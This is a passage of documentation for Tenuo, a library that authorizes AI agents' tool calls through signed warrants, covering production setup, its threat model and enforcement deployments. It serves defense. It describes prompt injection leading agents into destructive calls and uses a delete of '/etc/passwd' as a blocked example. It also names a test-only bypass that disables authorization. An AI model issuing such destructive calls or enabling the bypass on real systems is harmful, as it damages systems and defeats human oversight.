`@guard_tool` decorator: ```python from tenuo.google_adk import guard_tool, GuardBuilder from tenuo.constraints import Subpath @guard_tool(path=Subpath("/data")) def read_file(path: str) -> str: with open(path) as f: return f.read() # Extract constraints from decorated tools guard = GuardBuilder.from_tools([read_file]).build() ``` > [!WARNING] > **Decorator Limitations** > - Static only (can't change per-user) > - Not for Tier 2 (no crypto at decoration time) > - Can't decorate third-party tools > > **Use GuardBuilder for**: Production, dynamic authorization, Tier 2 --- ## See Also - [Constraints Reference](./constraints.md) - Full list of available constraints - [Security Model](./security.md) - Threat model and mitigations - [OpenAI Integration](./openai.md) - Similar integration for OpenAI SDK - [A2A Integration](./a2a.md) - Multi-agent task delegation - [API Reference](./api-reference.md) - Complete Python API docs --- # Going to Production Source: https://tenuo.ai/production-guide This guide covers moving from `dev_mode=True` to a production deployment. If you haven't used Tenuo yet, start with the [Quick Start](/quickstart/). ## Enforcement Modes Tenuo supports three modes for gradual adoption: | Mode | Behavior | Use Case | |------|----------|----------| | `enforce` | Block unauthorized requests | Production (default) | | `audit` | Log violations but allow execution | Discovery, gradual adoption | | `permissive` | Log + warn header, allow execution | Development, testing | ```python from tenuo import configure, SigningKey configure( issuer_key=SigningKey.from_env("ISSUER_KEY"), mode="audit", # Start here trusted_roots=[control_plane_pubkey], ) ``` Check the current mode programmatically: ```python from tenuo import is_audit_mode, is_enforce_mode, should_block_violation if is_audit_mode(): print("Violations logged but not blocked") ``` ## Gradual Rollout **Step 1: Deploy in audit mode.** All tool calls are logged but never blocked. Analyze logs to see what would be denied. ```python configure(issuer_key=SigningKey.generate(), mode="audit", dev_mode=True) ``` **Step 2: Add `@guard` to critical tools.** ```python @guard(tool="delete_file") def delete_file(path: str): ... ``` In audit mode, this still allows execution but logs authorization checks. **Step 3: Test with scoped warrants.** ```python with mint_sync(Capability("delete_file", path=Subpath("/tmp"))): delete_file("/tmp/test.txt") # Allowed delete_file("/etc/passwd") # Logged as violation ``` **Step 4: Enable enforce mode.** Roll out to a subset of traffic first if needed. ```python configure(mode="enforce", trusted_roots=[control_plane_pubkey]) ``` > **Tip:** Use `why_denied(tool, args)` to debug specific failures during rollout. ## Key Management ### Development In development, generate ephemeral keys: ```python from tenuo import SigningKey, configure configure(issuer_key=SigningKey.generate(), dev_mode=True) ``` ### Production In production, keys come from your control plane or secret management: ```python from tenuo import SigningKey, PublicKey issuer_key = SigningKey.from_env("ISSUER_KEY") # Base64-encoded trusted_root = PublicKey.from_env("TRUSTED_ROOT_PUBKEY") # Issuer's public key ``` ### Environment Variables For 12-factor apps, configure via environment: ```python from tenuo import auto_configure auto_configure() # Reads TENUO_* environment variables ``` | Variable | Description | |----------|-------------| | `TENUO_ISSUER_KEY` | Base64-encoded signing key | | `TENUO_MODE` | `enforce` (default), `audit`, or `permissive` | | `TENUO_TRUSTED_ROOTS` | Comma-separated public keys | | `TENUO_DEV_MODE` | `1` for development mode | For Temporal-specific key management (e.g., `TENUO_KEY_`), see the [Temporal Guide](./temporal). ### Managed control plane for enterprise operations As more teams use Tenuo, the hard problem becomes operating authority consistently: who can mint production warrants, how trust roots and keys rotate, how revocation lists reach every worker, how approvals are routed, and how audit receipts are searched across services and business units. **[Tenuo Cloud](https://cloud.tenuo.ai)** provides that managed control plane for teams that want centralized enterprise control instead of building and operating those pieces themselves. Connect your agents with a connect token: ```bash export TENUO_CONNECT_TOKEN="tenuo_ct_..." # From the Tenuo Cloud dashboard export TENUO_API_KEY="tc_..." # Included in the connect token ``` The SDK reads these automatically. Tenuo Cloud manages root keys, mints warrants on behalf of your orchestrators, rotates keys on schedule, publishes revocation lists, routes approvals, and indexes audit receipts across all workflows. With a managed control plane, you skip the manual key management, rotation, approval, revocation, and audit infrastructure described below. The self-hosted patterns are for teams that need full control or have on-prem requirements. > **[Schedule a demo / request access →](https://tenuo.ai/#talk)** ## Production Patterns (Self-Hosted) ### Pattern 1: Keys Separate from Warrants (Recommended) ```python from tenuo import Warrant, SigningKey, Pattern key = SigningKey.from_env("MY_KEY") warrant = (Warrant.mint_builder() .tool("search") .holder(key.public_key) .ttl(3600) .mint(key)) headers = warrant.headers(key, "search", {"query": "test"}) # Delegation with attenuation worker_key = SigningKey.generate() child = (warrant.grant_builder() .capability("search", query=Pattern("safe*")) .holder(worker_key.public_key) .ttl(300) .grant(key)) ``` ### Pattern 2: BoundWarrant (For Repeated Operations) ```python from tenuo import Warrant, SigningKey key = SigningKey.from_env("MY_KEY") warrant = (Warrant.mint_builder() .tool("process") .holder(key.public_key) .ttl(3600) .mint(key)) bound = warrant.bind(key, trusted_roots=[key.public_key]) for item in items: headers = bound.headers("process", {"item": item}) # Make API call with headers... # BoundWarrant should NOT be stored in state/cache (contains key) ``` ### Pattern 3: Environment-Based Setup ```python from tenuo import auto_configure, guard, mint_sync, Capability auto_configure() @guard(tool="search") def search(query: str) -> str: return f"Results for {query}" with mint_sync(Capability("search")): search("hello") ``` ## Low-Level API For deployments needing explicit keypair management across trust boundaries. ### 1. Create a Warrant ```python from tenuo import SigningKey, Warrant, Pattern, Range, PublicKey issuer_key = SigningKey.from_env("ISSUER_KEY") orchestrator_pubkey = PublicKey.from_env("ORCH_PUBKEY") warrant = (Warrant.mint_builder() .capability("manage_infrastructure", cluster=Pattern("staging-*"), replicas=Range.max_value(15)) .holder(orchestrator_pubkey) .ttl(3600) .mint(issuer_key)) ``` ### 2. Delegate with Attenuation ```python orchestrator_key = SigningKey.from_env("ORCH_KEY") worker_pubkey = PublicKey.from_env("WORKER_PUBKEY") worker_warrant = (warrant.grant_builder() .capability("manage_infrastructure", cluster=Pattern("staging-web"), replicas=Range.max_value(10)) .holder(worker_pubkey) .ttl(300) .grant(orchestrator_key)) ``` ### 3. Authorize an Action ```python worker_key = SigningKey.from_env("WORKER_KEY") args = {"cluster": "staging-web", "replicas": 5} pop_sig = worker_warrant.sign(worker_key, "manage_infrastructure", args) authorized = worker_warrant.allows("manage_infrastructure", args) print(f"Authorized: {authorized}") # True ``` ## Combining Integrations | Combination | Use When | |-------------|----------| | **OpenAI + A2A** | Workers are separate OpenAI services | | **ADK + A2A** | ADK orchestrator delegates to various worker services | | **Temporal + MCP** | Durable workflows calling MCP tool servers | | **OpenAI + ADK + A2A** | Mixed runtimes in distributed system | **Rule of thumb**: Same language + same process = runtime integration only. Cross-service = add [A2A](./a2a). ### Cross-namespace Temporal (Nexus) If your Temporal workers call across Namespaces with Nexus, the handler worker needs three things before it is safe to ship. The first one is required: a worker that serves Nexus operations without it denies every request. 1. **Set `TenuoPluginConfig.nexus_endpoint`** to the endpoint name this worker serves. 2. **Build the worker with `TenuoWorkerInterceptor`** (or `TenuoTemporalPlugin`). Inbound Nexus starts are then authorized even if a handler is missing its `@tenuo_nexus_operation` decorator. 3. **Keep backing workflows unreachable by untrusted clients.** They are an implementation detail of the handler, and starting one directly skips the Nexus verifier. ```python config = TenuoPluginConfig( key_resolver=resolver, trusted_roots=[root_key.public_key], nexus_endpoint="billing-prod", # required for Nexus handler workers ) ``` Turning on `nexus_pop_replay_protection` adds one more requirement: a fleet running more than one worker also needs a shared owner-aware `pop_dedup_store`, because the in-process default only suppresses replays on a single worker. Full setup, the workflow-backed operation path, and the complete pre-ship checklist are in [Temporal Nexus Authorization](./temporal-nexus). ## Next Steps - **[Temporal Nexus Authorization](./temporal-nexus)** — cross-namespace setup, workflow-backed operations, production checklist - **[Constraint Types](./constraints)** — `Subpath`, `Pattern`, `Range`, `UrlSafe`, `Exact`, and more - **[Security Model](./security)** — threat model, PoP mechanics, delegation chain verification - **[API Reference](./api-reference)** — full `Warrant`, `SigningKey`, `BoundWarrant` API - **[Debugging](./debugging)** — troubleshooting common issues --- # Tenuo Security Model Source: https://tenuo.ai/security This page covers what Tenuo protects against, how Proof-of-Possession works, integration safety mechanisms, and deployment best practices. ## Core Security Properties | Property | How It Works | |----------|--------------| | **Scoped** | Warrants specify exactly which tools and constraints are allowed | | **Temporal** | TTL checked on every authorization; expired warrants are rejected | | **Bound** | Proof-of-Possession (PoP) required; stolen warrant is useless without private key | | **Delegatable** | Parent warrants mint narrower children; signature chain proves lineage | | **Revocable** | Signed revocation lists (SRL) checked locally by the authorizer | --- ## Proof-of-Possession (PoP) Warrants are **bound to keys**. To use a warrant, you must prove you hold the private key. ```python # Attenuate with explicit capability (POLA) warrant = (root_warrant.grant_builder() .capability("protected_tool", path=Subpath("/data")) .holder(worker_key.public_key) .grant(root_key)) # Root key signs (they hold the parent warrant) with warrant_scope(warrant), key_scope(worker_key): await protected_tool(...) ``` If an attacker steals the warrant token alone, they can't use it without the private key. ### Replay Protection & Statelessness Tenuo uses time-windowed PoP signatures (~2 minutes) to allow for **stateless verification** and distributed clock skew. > [!IMPORTANT] > **Residual Replay Risk**: Because the scheme is stateless (no nonce tracking in core), a valid PoP signature can be replayed **within the ~2 minute window**. This is an intentional design trade-off for scalability. The protection prevents an attacker from using a stolen warrant *after* the window closes, but does not prevent immediate replay of the exact same request. **Mitigation**: For sensitive tools, implement **application-level deduplication**: ```python # Use the built-in helper to generate a deterministic cache key dedup_key = warrant.dedup_key(tool, args) if cache.exists(dedup_key): # Redis, memcached, or in-memory raise ReplayError("Duplicate request") authorizer.authorize(warrant, tool, args) cache.set(dedup_key, "1", ttl=120) # 120s covers the ~2min window ``` > [!WARNING] > **Distributed Deployments**: The example above requires a shared cache backend. In-memory caches (like Python's `dict`) will not work across: > - Multiple service instances (horizontal scaling) > - Process restarts (cache is cleared) > - Multi-process deployments (separate memory spaces) > > Use Redis, Memcached, or similar for production distributed systems. > [!NOTE] > **Performance & Responsibility**: You are responsible for provisioning and maintaining the storage backend (e.g., Redis). Tenuo provides the deterministic key but does not manage the statestore. The latency and availability of this check depend entirely on your storage infrastructure. **When to implement deduplication:** - High-value operations (payments, deletions, privilege escalation) - Environments where network interception is possible - Multi-step workflows where replay could cause inconsistency **When you can skip:** - Read-only operations (replaying a "read" is usually harmless) - Idempotent operations (replaying has no additional effect) - Very short-lived warrants (TTL < 2 min makes PoP window irrelevant) --- ## Monotonic Attenuation Authority can only **shrink**, never expand: | What | Rule | |------|------| | **Tools** | Child can only use a subset of parent's tools | | **Constraints** | Child constraints must be tighter than parent's | | **TTL** | Child cannot outlive parent | | **Depth** | `max_depth` can only decrease | ```python # Parent has broad capabilities parent = (Warrant.mint_builder() .capability("read", path=Subpath("/")) .capability("write", path=Subpath("/")) .capability("delete", path=Subpath("/")) .holder(key.public_key) .ttl(3600) .mint(key)) # Child can only narrow child = (parent.grant_builder() .capability("read", path=Subpath("/data")) .grant(key)) # Key signs (they hold the parent warrant) # This would FAIL: child = (parent.grant_builder() .capability("execute") # FAILS (parent doesn't have "execute") .grant(key)) ``` --- ## Revocation Tenuo's protocol includes signed revocation lists (SRLs) for emergency warrant cancellation. The authorizer checks an SRL locally: Python via `Authorizer.set_revocation_list()` / Temporal `revocation_list` + `revocation_list_provider`, Rust via `RevocationMode::SignedSrl` and `RevocationTracker`. Issuers sign the list; verifiers do not fetch it on the hot path. **Design philosophy**: Tenuo favors **short TTLs (5-15 minutes) over revocation**. A warrant that expires naturally is simpler than one that requires emergency cancellation. Use revocation when TTL alone cannot meet your security requirements (e.g., long-lived sessions where key compromise must be handled mid-session). For technical details, see **[Revocation](./spec/protocol-spec-v1#11-revocation)** in the protocol specification (SRL wire layout, `RevocationRequest`, verifier rules). --- ## Production Deployment Policy > [!IMPORTANT] > **Tier 2 (Warrant + PoP) is the recommended pattern for production systems.** > > While Tier 1 guardrails provide effective protection against prompt injection and accidental misuse, they can be modified or bypassed by anyone with code access. For production environments where insider threats or container compromise are concerns, use Tier 2 with cryptographic warrants. --- ## Tier 1 vs Tier 2 **Tier 1** (Runtime Guardrails): - Constraint checking at runtime - Trust boundary: code access - Protects against: prompt injection, LLM hallucinations, SSRF - Does NOT protect against: insider threats, container compromise **Tier 2** (Cryptographic Authorization): - All of Tier 1, plus warrant signatures and PoP - Trust boundary: cryptographic proof - Protects against: all Tier 1 threats, plus tampering and untrusted callers - Required for: multi-process delegation, zero-trust environments, audit compliance **When to use**: Tier 1 for single-process trusted environments. Tier 2 for distributed systems or when you cannot trust the execution environment. See integration docs ([OpenAI](./openai.md#tier-1-security-model), [ADK](./google-adk.md#tier-1-security-model)) for detailed threat models. --- ## Key Management **Zeroization**: Signing keys are automatically zeroized on drop (Rust `secrecy` crate + `ed25519-dalek`). Keys stored in memory are cleared when objects are destroyed. **Rotation**: Key rotation is achieved through **warrant expiry**. Issue new warrants with new keys; old warrants expire naturally via TTL. No manual key rotation infrastructure needed. **Storage**: Keys in Python integrations are stored in instance variables. For production high-security deployments, consider HSM/KMS integration or key provider abstraction. --- ## Security Invariants All Tenuo integrations enforce these invariants (see [Integration Guide](https://github.com/tenuo-ai/tenuo/blob/main/tenuo-python/docs/integration-guide.md#invariant-testing)): 1. **Monotonic Attenuation** - Authority only decreases 2. **Fail-Closed** - Unknown parameters rejected 3. **Expiry Enforced** - Expired warrants fail even with valid signatures 4. **PoP Required** - Tier 2 requires proving key possession 5. **Signature Verification** - Tampering detected 6. **Chain Validation** - Delegation chains validated from root to leaf --- ## Threat Model For the full threat model (what Tenuo protects against and what it does not), see [Concepts](./concepts#threat-model). This section covers operational security details. ### Defense in Depth: Network Policies Tenuo handles authorization - what an agent is *allowed* to do. For exfiltration prevention, use Kubernetes Network Policies: ```yaml # Restrict agent egress to only approved services apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: agent-egress spec: podSelector: matchLabels: app: agent policyTypes: - Egress egress: - to: - podSelector: matchLabels: app: tool-proxy ``` Tenuo prevents unauthorized tool usage *through* your API. Network policies prevent bypassing your API entirely. ### Operational Checklist 1. All tools must be protected with `@guard` or `guard()`. 2. Restrict egress to prevent data exfiltration. 3. For agent compromise resilience, deploy sidecar or gateway enforcement (see [Enforcement Architecture](./enforcement)). --- ## Denial-of-Service (DoS) Protection Tenuo is designed to protect validation services from CPU exhaustion attacks. ### Fail-Fast Cryptography The authorization flow is strictly ordered to reject unauthorized requests before performing expensive logic: 1. **Expiration Check** (Values comparison): $\mathcal{O}(1)$ - Fails instantly if expired. 2. **Proof-of-Possession** (Ed25519 Verify): $\mathcal{O}(1)$ - Verifies the request signature. Fails fast if signature is invalid or missing. 3. **Constraint Matching** (Regex/Looping): $\mathcal{O}(N)$ - Only executed **after** the request is cryptographically authenticated. **Why this matters**: An attacker cannot force the server to evaluate complex regex or deep constraint trees by sending 100k requests, because looking up constraints happens *after* the signature check. If they don't have a valid private key, the request is dropped with minimal CPU cost. ### Fail-Closed Validation (Zero Trust Data) Tenuo extends Zero Trust beyond identity (keys) to **data validation**. **Philosophy**: Ambiguity is a vulnerability. If Tenuo encounters data it doesn't strictly understand or expect, it fails closed (denies). 1. **Closed-World Arguments**: If you confine a tool with constraints, *any* unmentioned argument triggers a denial. Zero Trust means no "shadow arguments" can sneak past validation. 2. **Unknown Constraints**: If the runtime encounters a constraint type it doesn't recognize (e.g., mismatched version), it defaults to **DENY**. It never fails open. 3. **Parser Safety**: URL and Path parsers are hardened against polyglot payloads (e.g., JSON-in-URL). If a payload looks malformed or ambiguous, it is rejected. --- ## Cost Containment Prompt injection attacks can cause financial damage by tricking agents into making expensive API calls. Tenuo provides **stateless** mechanisms to contain costs while your infrastructure handles rate limiting. ### Parameter-Level Budget Constraints Constrain cost-driving parameters directly in the warrant: ```python warrant = (Warrant.mint_builder() .capability("call_llm", max_tokens=Range.max_value(1000), # Cap output tokens model=OneOf(["gpt-3.5-turbo"])) # No expensive models .capability("search_api", max_results=Range.max_value(10)) # Limit results per call .ttl(60) # 1 minute window .mint(key)) ``` ### Single-Use Warrants for Expensive Operations Issue terminal warrants (cannot be delegated) for each expensive call: ```python async def safe_expensive_call(tool_name: str, params: dict): single_use = (Warrant.mint_builder() .capability(tool_name, **params) .holder(worker_key.public_key) .ttl(30) .terminal() .mint(issuer_key)) with warrant_scope(single_use), key_scope(worker_key): return await execute_tool(tool_name, params) ``` ### Orchestrator-Level Budget Tracking Track call counts in your orchestrator: ```python class BudgetedOrchestrator: def __init__(self, max_calls: int = 10): self.remaining_calls = max_calls async def execute_with_budget(self, task): if self.remaining_calls <= 0: raise BudgetExhausted("Call limit reached") self.remaining_calls -= 1 warrant = (Warrant.mint_builder() .capability(task.tool, **task.constraints) .holder(self.worker_key.public_key) .ttl(30) .terminal() .mint(self.key)) with warrant_scope(warrant), key_scope(self.worker_key): return await task.execute() ``` ### Gateway-Side Rate Limiting Your API gateway should enforce call counts per warrant: ```yaml # Kong rate limiting example plugins: - name: rate-limiting config: minute: 10 # 10 calls per minute per warrant policy: local header_name: X-Tenuo-Warrant-Id # Custom header for rate limiting (distinct from auth) ``` ### Strategy Summary | Strategy | Where | Stateful? | Best For | |----------|-------|-----------|----------| | Parameter constraints | Warrant | No | Limiting per-call cost | | Short TTLs + terminal | Warrant | No | Time-boxing exposure | | Orchestrator budget | Application | In-memory | Task-level budgets | | Gateway rate limiting | Infrastructure | Yes | Hard call limits | **Design principle:** Tenuo handles **authorization** (what CAN be done). Your infrastructure handles **rate limiting** (how MANY times). This keeps warrant verification local, offline, and stateless. See [Performance Benchmarks](./api-reference#performance-benchmarks) for measured timings. --- ## Integration Safety > **The Primary Attack Surface: Integration Mistakes** Tenuo's core is cryptographically secure. But **integration bugs** are the primary attack surface: - Forgetting to add `@guard` to a tool - Missing `warrant_scope()` or `mint()` - Dynamic nodes without wrappers - Wrapper that checks tool names but skips `validate()` ### Strict Mode **Fail-closed enforcement**: Panic if a tool is called without warrant context. ```python from tenuo import configure, SigningKey configure( issuer_key=SigningKey.generate(), strict_mode=True, # Enforce warrant presence ) ``` **Behavior:** ```python @guard(tool="read_file") def read_file(path: str): return open(path).read() # Called without warrant context read_file("/data/test.txt") # RuntimeError: [MISSING_CONTEXT] No warrant context available for tool 'read_file'. ``` **When to use:** - **Development/staging** - Catch integration bugs early - **CI/CD** - Fail tests if warrant context is missing - **Production** - Only if you want hard failures ### Warning Mode **Loud warnings**: Log and warn (but don't crash) when tools are called without warrants. ```python configure( issuer_key=SigningKey.generate(), warn_on_missing_warrant=True, ) ``` > [!CAUTION] > **Production Safety**: Never set `TENUO_ENV="test"` in production environments. > This environment variable enables special test-only bypass modes (like `allow_any()`) which > completely disable authorization checks. Tenuo will emit warnings if this is detected, > but for defense-in-depth, ensure your production manifests (Helm, Terraform) strictly avoid this variable. > [!IMPORTANT] > **`TENUO_REQUIRE_EXTENSION=1`**: Set this in all production deployments. > If the native Rust extension (`tenuo_core`) is missing — for example, after a Docker image rebuild > that drops the wheel — warrant enforcement silently degrades to a no-op without this flag. > With it, the process exits at startup with a clear error instead. See [Enforcement Architecture: Production Hardening](./enforcement#production-hardening). ### Mode Comparison | Mode | Missing Warrant Behavior | Use Case | |------|-------------------------|----------| | **Default** | Raises `Unauthorized` | Production (minimal overhead) | | **`warn_on_missing_warrant=True`** | Warns + raises | Development/staging | | **`strict_mode=True`** | Panics with `RuntimeError` | CI/CD, strict production | ### Common Integration Bugs | Bug | Detection | |-----|-----------| | Missing `@guard` decorator | Code review, linting | | Missing `warrant_scope()` | Strict mode catches | | Dynamic node without wrapper | Strict mode (if tools decorated) | | Wrapper skips `validate()` | Integration tests | ### Async Context Sharp Edges ```python # Works correctly async with mint(Capability("search")): result = await search("query") # Context not propagated (task created BEFORE context) task = asyncio.create_task(search("query")) async with mint(Capability("search")): await task # Task runs without context # Fix: create task INSIDE context async with mint(Capability("search")): task = asyncio.create_task(search("query")) await task ``` --- ## Control Plane Deployment Models The control plane holds the **root signing key** and issues the initial warrant for each agent network. ### Level 1: Embedded (Development) ```python root_key = SigningKey.from_env("TENUO_ROOT_KEY") warrant = (Warrant.mint_builder()...mint(root_key)) ``` | Aspect | Detail | |--------|--------| | Pros | Zero infrastructure overhead | | Cons | RCE on orchestrator exposes root key | | Use case | Local dev, CI/CD, non-critical agents | ### Level 2: Isolated Signing Service (Production) ``` Orchestrator --> gRPC/mTLS --> Signing Service (holds key) ``` | Aspect | Detail | |--------|--------| | Pros | Key isolation; RCE can only request warrants | | Cons | One additional service to run | | Use case | Production Kubernetes, standard SaaS | ### Level 3: Hardware Root of Trust (High Assurance) ``` Orchestrator --> AWS KMS / GCP KMS / HSM --> Signed warrant ``` | Aspect | Detail | |--------|--------| | Pros | Key is non-exportable; instant revocation via IAM | | Cons | ~50-100ms issuance latency | | Use case | FinTech, HealthTech, regulated industries | --- ## Cycle Protection Tenuo prevents infinite delegation cycles through multiple layers: 1. **Warrant ID Tracking**: Same ID twice → fail 2. **Depth Limits**: `MAX_DELEGATION_DEPTH = 64` 3. **Monotonic Attenuation**: Each warrant strictly weaker 4. **Self-Issuance Prevention**: Issuer warrants cannot grant execution to themselves --- ## Protocol Limits | Limit | Value | Purpose | |-------|-------|---------| | `MAX_DELEGATION_DEPTH` | 64 | Prevents unbounded delegation chains | | `MAX_WARRANT_TTL_SECS` | 90 days | Protocol ceiling for warrant lifetime | | `MAX_WARRANT_SIZE` | 64 KB | Prevents memory exhaustion (single warrant) | | `MAX_STACK_SIZE` | 256 KB | Max WarrantStack encoded size (chain) | | `MAX_CONSTRAINT_DEPTH` | 32 | Prevents stack overflow in nested constraints | | PoP Timestamp Window | ~2 min | Replay attack protection | **TTL Note**: 90 days is the protocol maximum. Deployments should configure stricter limits (e.g., 24 hours for production). Default TTL is 5 minutes. --- ## Best Practices ### 1. Wrap All Tools ```python # Good @guard(tool="delete_file") def delete_file(path: str): ... # Bad: bypasses Tenuo await http_client.delete(url) ``` ### 2. Use Short TTLs ```python # Good: 5 minute TTL warrant = (Warrant.mint_builder()...ttl(300).mint(key)) # Risky: 24 hour TTL warrant = (Warrant.mint_builder()...ttl(86400).mint(key)) ``` ### 3. Principle of Least Privilege ```python # Good: only what's needed with mint(Capability("read_file", path="/data/reports/*")): ... # Risky: overly broad with mint( Capability("read_file", path="/*"), Capability("write_file", path="/*"), Capability("delete_file", path="/*") ): ... ``` ### 4. Separate SigningKeys per Trust Boundary - Control plane: One signing key - Each worker: Own signing key - Don't share keys across trust boundaries ### 5. Use Strict Mode in Tests ```python # conftest.py @pytest.fixture(scope="session", autouse=True) def tenuo_strict(): configure( issuer_key=SigningKey.generate(), dev_mode=True, strict_mode=True, # Fail tests if warrant missing ) ``` --- ## See Also - [Concepts](./concepts): Problem/solution, threat model, core invariants - [AI Agent Patterns](./ai-agents): P-LLM/Q-LLM, prompt injection defense, multi-agent security - [Enforcement Architecture](./enforcement): Deployment patterns and proxy configurations - [Constraints](./constraints): Constraint types, argument extraction, gateway configuration - [Protocol Specification](./spec/protocol-spec-v1): Full protocol details - [API Reference](./api-reference): Python SDK, CLI, and performance benchmarks --- # Enforcement Architecture Source: https://tenuo.ai/enforcement > [!NOTE] > **Key terms:** > - **Warrant**: A short-lived, cryptographically signed token that says "this agent may call these tools with these constraints" > - **Proof-of-Possession (PoP)**: A signature proving the requester holds the warrant's private key (stolen warrants are useless without it) > - **Attenuation**: Delegating a warrant with *narrower* permissions: authority can only shrink, never expand > - **Control Plane**: The trusted service that issues root warrants (you build this, or use Tenuo Cloud) > > See [Concepts](./concepts) for a full introduction. This page covers how Tenuo deploys into production infrastructure: the five enforcement points, how they compose for defense in depth, and the security architecture of the Rust core. For the problem/solution overview and how warrants work, see [Concepts](./concepts). --- ## Deployment Models Tenuo deploys at five enforcement points. Choose based on your threat model, or combine them for defense in depth. Every model verifies warrants, so **all five block unauthorized tool calls** -- including prompt injection and confused deputy attacks. The difference is where the enforcement point sits and what additional threats it covers. | Model | Where It Runs | Additional Threat Coverage | Trust Boundary | |-------|---------------|---------------------------|----------------| | **In-Process** | Inside the agent (Python decorator) | Fastest path; framework-native integration | Agent process | | **Sidecar** | Separate container, same pod | Agent compromise (RCE) | Pod network | | **Gateway** | Cluster ingress (Envoy/Istio `ext_authz`) | Centralized policy across multiple services | Gateway | | **MCP Proxy** | Between agent and MCP server | Unauthorized tool discovery | Proxy | | **A2A** | Between agents (JSON-RPC) | Unconstrained inter-agent delegation | Receiving agent | ### In-Process: Drop-In Agent Protection The fastest path to production. Tenuo wraps tool functions inside the agent process. If the LLM is tricked by prompt injection into calling `delete_file("/etc/passwd")`, the warrant blocks it before the function body runs. ```python @guard(tool="delete_file") def delete_file(path: str): os.remove(path) # Never reached without a valid warrant ``` Integrates with the frameworks teams already use: | Framework | Module | Integration | |-----------|--------|-------------| | LangGraph | `tenuo.langgraph` | `TenuoToolNode` / `TenuoMiddleware` | | OpenAI | `tenuo.openai` | `verify_tool_call()` | | CrewAI | `tenuo.crewai` | `@guard` decorator | | Google ADK | `tenuo.google_adk` | `TenuoPlugin` | | AutoGen | `tenuo.autogen` | `@guard` decorator | | Temporal | `tenuo.temporal` | Workflow-level warrants | | FastAPI | `tenuo.fastapi` | Middleware / dependency injection | | MCP | `tenuo.mcp` | Proxy or server-side verifier | | A2A | `tenuo.a2a` | Client / server | All integrations share a single enforcement code path through the Rust core: same behavior, same audit log, same security guarantees regardless of framework. ### Human Approvals After PoP and constraint checks, the Rust core evaluates **approval gates** on the warrant. If a gate fires: 1. Collect `SignedApproval`(s) from `required_approvers` (via handler or pre-supplied approvals). 2. Verify signatures, request-hash binding, expiry, and m-of-n threshold. 3. Proceed or return a typed retry signal (`approval_required` vs `insufficient_approvals`). Gates, approvers, and threshold are defined on the warrant — not in adapter config. See [Human Approvals](approvals.md) for quick start and per-integration retry codes. > [!NOTE] > **Limitation**: In-process enforcement cannot survive agent compromise (RCE). If an attacker gets code execution inside the agent, they can call tools directly. For that threat, add a sidecar. ### Sidecar: Surviving Agent Compromise Tenuo runs as a separate container in the same Kubernetes pod. All tool traffic routes through the sidecar first. Even if the agent process is fully compromised, unauthorized calls never reach the tool service. ``` ┌─────────────────┐ Network ┌──────────────────────────┐ │ Agent (Client) │ ───────────────────► │ Tool Service Pod │ └─────────────────┘ (HTTP/gRPC) │ ┌──────────────────────┐ │ │ │ Tenuo Sidecar │ │ │ └─────────┬────────────┘ │ │ ▼ │ │ ┌──────────────────────┐ │ │ │ Tool API │ │ │ └──────────────────────┘ │ └──────────────────────────┘ ``` ```yaml # Standard Kubernetes sidecar pattern spec: containers: - name: tenuo-authorizer image: tenuo/authorizer:0.3.1 ports: [{ containerPort: 9090 }] - name: tool-api image: your-tool:latest # Only accepts traffic from localhost (sidecar) ``` #### Serving over a Unix domain socket When the agent and the authorizer share a pod or host, the sidecar can serve the **same HTTP API over a Unix domain socket** instead of a localhost TCP port. This keeps authorization traffic off the network stack entirely and lets you gate access with filesystem permissions. ```bash tenuo-authorizer serve \ --config /etc/tenuo/authorizer.yaml \ --socket /var/run/tenuo/authorizer.sock \ --socket-mode 0660 \ --socket-group tenuo ``` - `--socket PATH` — serve over `AF_UNIX` at `PATH`. Mutually exclusive with `--port` / `--bind` (the CLI rejects combining them). - `--socket-mode` — octal bits controlling who may *connect* (default `0660` = owner + group). Use `0600` for owner-only or `0666` for any local user. - `--socket-group` — group name or numeric gid the socket is `chgrp`'d to after bind. With the default `0660`, this lets a **non-root client** (e.g. an app user in a shared `tenuo` group) reach an authorizer running as root. Clients connect with any HTTP-over-UDS client, e.g.: ```bash curl --unix-socket /var/run/tenuo/authorizer.sock http://localhost/health ``` **Security:** the socket's trust rests on its *parent directory*. The authorizer refuses to bind if that directory is group- or world-writable, refuses a symlink or non-socket file at the path, and removes a stale socket left by a previous crash. Place the socket in a directory only the authorizer's own user can write to (for example `/var/run/tenuo`). ### Gateway: Centralized Enforcement for Multiple Services One Tenuo instance protects many backend services. Plugs into existing service mesh infrastructure via Envoy's `ext_authz` gRPC protocol. No new proxy to deploy if you already run Envoy or Istio. ``` ┌─────────────────────────┐ │ Service A (database) │ ┌────▶│ │ ┌──────────────┐ │ └─────────────────────────┘ │ Agents │──▶ Tenuo Gateway (ext_authz) ──┤ └──────────────┘ │ ┌─────────────────────────┐ └────▶│ Service B (storage) │ └─────────────────────────┘ ``` Authorization is stateless and local: no runtime network call, no shared database, no token introspection endpoint. See [Performance Benchmarks](./api-reference#performance-benchmarks) for measured timings. ### MCP Proxy: Securing the Model Context Protocol Tenuo sits between the agent and MCP servers. The agent never talks to raw MCP endpoints. Every `call_tool` request is authorized against the warrant before forwarding. For teams that prefer server-side verification, `MCPVerifier` runs inside the MCP server itself with no separate proxy needed. See [MCP Integration](./mcp) for both patterns. ### A2A: Cryptographic Inter-Agent Delegation When an orchestrator delegates a task to a worker agent, the warrant travels with it, attenuated to only the permissions the worker needs. The worker cannot exceed its delegated scope, even if compromised. ``` ┌──────────────┐ attenuated warrant ┌──────────────┐ │ Orchestrator │─────────────────────▶│ Worker │ │ │◀─────────────────────│ │ └──────────────┘ result └──────────────┘ ``` This is cryptographic least privilege for multi-agent systems. The orchestrator narrows the scope; the worker proves it holds the key; the Rust core verifies the chain. See [A2A Integration](./a2a) for details. --- ## Defense in Depth: Layered Enforcement These models compose. A production deployment can layer in-process enforcement (catches prompt injection at the source) with a sidecar (catches anything that slips past a compromised agent): ``` ┌─────────────────────────────────────────────────────┐ │ Agent Process │ │ @guard ─────────────────────────────────┐ │ │ (catches confused deputy) │ │ └───────────────────────────────────────────────┼─────┘ │ ▼ ┌─────────────────────────────────────────────────────┐ │ Tenuo Sidecar │ │ (catches compromised agent) │ └───────────────────────────────────────────────┬─────┘ │ ▼ ┌─────────────────────────────────────────────────────┐ │ Tool Service (protected by both layers) │ └─────────────────────────────────────────────────────┘ ``` Combine with Kubernetes Network Policies for complete coverage: Tenuo prevents unauthorized tool usage *through* your API; network policies prevent bypassing your API entirely. --- ## Production Hardening ### `TENUO_REQUIRE_EXTENSION=1` The tenuo Python SDK depends on a native Rust extension (`tenuo_core`) compiled for each platform. If the 